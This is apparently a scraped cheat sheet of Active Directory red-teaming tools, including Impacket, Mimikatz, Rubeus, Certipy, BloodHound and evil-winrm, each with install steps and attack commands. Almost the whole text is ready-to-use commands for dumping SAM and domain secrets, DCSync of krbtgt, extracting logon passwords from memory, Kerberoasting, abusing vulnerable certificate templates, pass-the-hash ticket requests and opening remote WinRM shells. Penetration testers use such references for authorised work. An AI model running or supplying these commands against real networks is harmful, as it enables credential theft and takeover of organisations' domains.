Active Directory red teaming — Kerberoasting, DCSync, BloodHound, lateral movement.
Official PageAD pentesting swiss army knife
pip3 install crackmapexeccme smb target -u user -p pass --sam; cme winrm target -u admin -p passPython AD attack toolkit
pip3 install impacketsecretsdump.py domain/admin@dc; GetUserSPNs.py domain/user:pass -dc-ip dcAD CS certificate abuse enumeration
Compile from sourceCertify.exe find /vulnerable; Certify.exe request /ca:CA /template:VulnPython ADCS attack tool
pip3 install certipy-adcertipy find -u user@domain -p pass -dc-ip dc; certipy req -u user@domain -p pass -ca CA -template VulnPowerShell port of Mimikatz
Import-Module Invoke-Mimikatz.ps1Invoke-Mimikatz -Command "sekurlsa::logonpasswords"Credential extraction from Windows memory
Download from githubsekurlsa::logonpasswords; lsadump::dcsync /user:krbtgtMicrosoft RSAT AD module for stealthy enumeration
Import-Module ActiveDirectoryGet-ADUser -Filter *; Get-ADComputer -Filter * -Properties *AD attack path visualization
sudo apt install bloodhoundbloodhound-python -d domain -u user -p pass -c allPowerShell AD enumeration framework
Import-Module PowerView.ps1Get-DomainUser -SPN; Get-DomainTrust; Find-LocalAdminAccessKerberos interaction and abuse
Compile from sourceRubeus.exe kerberoast; Rubeus.exe asktgt /user:svc /rc4:hashWinRM pentesting shell
gem install evil-winrmevil-winrm -i target -u user -p pass -s /scripts/MSSQL pentesting toolkit
Import-Module PowerUpSQL.ps1Get-SQLInstanceDomain; Invoke-SQLEscalatePriv